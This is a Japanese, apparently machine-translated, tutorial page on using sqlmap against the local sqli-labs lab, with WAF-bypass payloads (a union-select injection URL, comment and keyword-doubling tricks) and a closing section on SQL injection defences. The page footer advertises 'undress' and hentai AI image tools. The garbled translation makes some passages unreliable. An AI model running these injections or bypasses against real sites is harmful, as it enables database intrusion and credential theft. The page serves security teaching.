パート 1: Sqlmap の使用
1.1 sqlmap の概要
1. SQL インジェクションの基本的なステートメントについては前にいくつか説明しましたが、手動インジェクションは非常に面倒です。 SQL インジェクション。データを取得するツール。
2. sqlmap の概要
(1)#sqlmap は、SQL インジェクションの脆弱性と
を自動的に検出して悪用できるオープン ソースの侵入テスト ツールです。インターフェース データベースに入るサーバー。非常に強力な検出エンジン、複数の機能を備えたペネトレーション テスター、データベース フィンガープリンティングによる基盤となるファイル システムへのアクセス、および帯域外接続を介したコマンド実行を備えています。
公式 Web サイト: sqlmap.org
(2)#サポートされるデータベース:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、IBM DB2、SQLite、Firebird、Sybase、SAP MAXDB。
#エラーベースの SQL インジェクション (エラーベースのインジェクション)
# ブールベースのブラインド SQL インジェクション (ブール インジェクション)
#時間ベースのブラインド SQL インジェクション (時間遅延インジェクションに基づく)
#スタック クエリ SQL インジェクション (マルチステートメント クエリ インジェクション)
python,# と入力します。 ##次のプロンプトはインストールが成功したことを示します
python
Python 2.7.16
(v2.7.16:413a49145e, Mar 4 2019, 01:37:19) win32 の [MSC v.1500 64 ビット (AMD64)]詳細については、「ヘルプ」、「著作権」、「クレジット」、または「ライセンス」と入力してください。 >>> exit();
(5) sqlmap テスト: cmd コマンド ラインを入力し、sqlmap.py -h (パスに注意してください) C:\ Users\Administrator\sqlmap>
sqlmap.py -h #ヘルプ情報を表示
#(1) ライブラリ名、カラム名、権限の取得
--dbs #すべてのデータベースの取得
--users #すべてのデータベース ユーザー ( データベースのローカル ユーザー名)
- --passwords #データベースのパスワードを取得します (許可がある場合にのみ読み取ることができます)
- --technique #使用する注入タイプを指定します
- --current-db #Currentデータベース
--banner #データベース識別の取得
- #-D データベース名 --tables #-D はデータの指定に使用され、--tables はデータを取得します特定のライブラリの下のテーブル
- -D データベース名 -T テーブル名 --columns #-T はテーブル名を指定し、 --columns は列フィールドを取得します #-D データベース名 -T テーブル名 -C 列_1,列_2 --dump
- #-C はフィールド名を指定します。- - 表示結果をダンプします
- --users #列データベース管理ユーザー: 現在のユーザーがすべてのユーザーを含むテーブルを読み取る権限を持っている場合、すべての管理ユーザーをリストできます。
- --current-user #データを管理するユーザーは、ほとんどのデータベースで取得できます。
- --is-dba #現在のユーザーが管理者であるかどうかを判断し、管理者である場合は True を返します。
- --proxy #プロキシ サーバーを指定します。例: –proxy http://local:8080
- (2) 指定します。プレフィックスとサフィックス:
#sqlmap は多くの干渉文字を検出できません。閉じるときに、プレフィックスとサフィックスを手動で指定できます
select * from users where id=((( '1 '))) および 1=1
#--prefix=PREFIX ペイロード文字列を挿入します prefix
-
--suffix "AND ('1' = '1"
--suffix=SUFFIXペイロードの挿入文字列サフィックス
例: sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))"
#(3) 結果のエクスポート:
##sqlmap -u "www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”
--file-dest=”E:/wwwroot/web/one. php "
- #--完全自動バッチ #--start=開始番号--stop=終了番号
-
##--dump データのエクスポート
- ##--dump-all すべてのデータのエクスポート ##--purge-output/ -- purge キャッシュ ディレクトリをクリアします
- --sql-shell SQL クエリ アナライザーに似たリバウンド sqlshell デフォルトの path.sqlmap (sqlmap をクリック)
- #1.4 sqlmap の実際の例
#Less-1--Less65 の一般的なステートメント (これらは最も一般的に使用されるパラメータであるため、理解しておく必要があります)
#(1 ) すべてのライブラリ名を取得します
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -- dbs --dbms= mysql --batch
# 分析:-u に続く URL はテスト URL を示します
--dbs はすべてのデータベースの取得を示します--dbms は、指定されたデータベース タイプが mysql であることを意味します
--batch は自動的に取得することを意味します-D security --tables は指定されたデータベースのテーブルを次のように取得することを意味しますsecurity Name-D security -T users --columns は、指定されたデータベースの users テーブルの列名を security-D security -T users -C username,password として取得することを意味します--dump # セキュリティ ライブラリとユーザー テーブルのユーザー名とパスワード フィールドのデータ情報を取得します。 --dump は結果を表示することを意味しますResult:
#[*]チャレンジ[*] dvwa
[*] information_schema[*] mysql
[*] owasp[*] Performance_schema[*] security[*] テスト
現在のデータベース: 'セキュリティ'
#(2) 現在のライブラリ名を取得します
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less- 1?id=1" --current -db --batch
#結果:#(3) を取得します。現在のテーブル名
C :\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch
# 結果:データベース:セキュリティ[4 テーブル] ----------
| Referers |
| メール || uagents || users | ----------
#結果:
#(4) 現在の列名を取得
C:\Users\Administrator \sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns --batch
| 列 | 型 |
データベース: セキュリティテーブル: ユーザー[3 列]
---------- ---- ------------------- ------------- | id | int (3) || パスワード | varchar (20) |
| ユーザー名 | varchar(20) |
---------- ----------- --
#(5) users テーブルのユーザー名とパスワードの内容を取得します。
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http:/ /localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump --batch
結果:データベース:セキュリティテーブル: ユーザー[13 エントリ ]
| ユーザー名 | パスワード |
---------- ---------------------- --- --------- | バカ | バカ || アンジェリーナ | 殺すよ |
| ダミー | p@ ssword |
| 安全 | くだらない |
| 愚か | 愚かさ |
| スーパーマン | 天才 |
| バットマン | 暴徒 |
| 管理者 | 管理者 |
| 管理者 1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumpo |
| admin4 | admin4 |
---------- --- ---------
パート 2: SQL インジェクションの WAF バイパス
2.1 SQL インジェクションの WAF バイパス方法の概要
注: こここれらはバイパス方法を説明するための単なる例であり、実際のシナリオはより複雑です。複雑です。複数のバイパス方法を混合してエンコードすることができます。1. SQL インジェクションの方法を理解した後、SQL インジェクションを防ぐにはどうすればよいですか?インジェクション?
##(1) コメント文字のフィルタ#(2) and or or
## のフィルタ
(3) フィルタの選択または結合- #(4) フィルタのブラックリスト
- 2. フィルタリングおよび/またはバイパスとは何ですかメソッド?
- #(1) Mysql は大文字と小文字を区別しないため、正しく実行できます。===>ケースの変形を使用する
#(2)mysql は 16 進数をサポートしており、16 進数または URL エンコーディングを使用します;
#(3)単語を記号で置き換えます = ==> 記号のバイパスand(&&) or(||)
#(4) インライン コメントと複数行コメント===>デリケートな言葉でコメントを追加する a/**/nd 二重書き込みバイパス oORr
3. もちろん他の方法もあります。これらのフィルタリング方法を例として、バイパス方法について説明します。
waf があります。
2.2 SQL インジェクション バイパス WAF 実験
1. アノテーションをフィルタリングします (例として 23 未満)
#(1) コメント文字をフィルタリングする理由: 通常の SQL ステートメントでは、コメント文字は説明的な役割を果たします。ただし、SQL インジェクションの脆弱性を悪用する過程で、コメント文字は一重引用符、複数の一重引用符、二重引用符、一重括弧、および複数括弧を閉じる役割を果たします。
単一行のコメント: -- または --space または
#複数行のコメント: /* 複数行のコメントの内容* /
#(2) フィルター関数 preg_replace
preg_replace(mixed $pattern,mixed $replacement,mixed $subject): 正規表現による検索と置換を実行します。
$pattern: 検索するパターン。文字列または文字列配列にすることができます。
$replacement: 置換に使用される文字列または文字列配列。
$subject: 検索および置換されるターゲット文字列または文字列配列。
#(3) コメント文字をバイパスします:
コメント文字を使用してフィルタリングすると、一重引用符などを正常に閉じることができません。別の考え方を使用して、または '1 '='1 閉じ一重引用符など。
http://127.0.0.1/sqli/Less-23/?id=-1' 共用体選択 1,database(),'3
2。フィルター処理された and or or をバイパスするにはどうすればよいですか? (例として Less-25)
(1) ソース コード分析: or または and が空の
# に置き換えられていることがわかります。
(1)使用する スペースとして機能するには
#パート 3: SQL インジェクション防御
3.1 SQL インジェクション防御方法
1. 一般的な保護手段:
#(1)、エラー プロンプトをオフにします: PHP 設定ファイル php.ini の display_errors=Off
# (2)、マジック クオート (addslashes と同じ効果): php.ini の場合、magic_quotes_gpc=の上。送信された変数内のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ (\)、および NUL (NULL 文字) は、バックスラッシュを含むエスケープ文字に自動的に変換されます#(3)、データをフィルターします。 、and/or/union
#(4) などの一般的なキーワードをフィルタリングします。データベースに接続するためのユーザー権限を制御します。各ライブラリは 1 つのライブラリに対して管理者を設定します。root 権限は使用しません。
#( 5)、前処理とパラメータ化 (PDO): データを単純に「結合」するのではなく、ユーザーから渡されたパラメータを処理してブール値を返すことで、SQL インジェクションを回避します。
#(6) ハードウェア保護対策 (WAF)およびその他のハードウェア)
以上がSQLMap と SQLi インジェクション防御を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

MinGW - Minimalist GNU for Windows
このプロジェクトは osdn.net/projects/mingw に移行中です。引き続きそこでフォローしていただけます。 MinGW: GNU Compiler Collection (GCC) のネイティブ Windows ポートであり、ネイティブ Windows アプリケーションを構築するための自由に配布可能なインポート ライブラリとヘッダー ファイルであり、C99 機能をサポートする MSVC ランタイムの拡張機能が含まれています。すべての MinGW ソフトウェアは 64 ビット Windows プラットフォームで実行できます。

メモ帳++7.3.1
使いやすく無料のコードエディター

WebStorm Mac版
便利なJavaScript開発ツール

Dreamweaver Mac版
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)
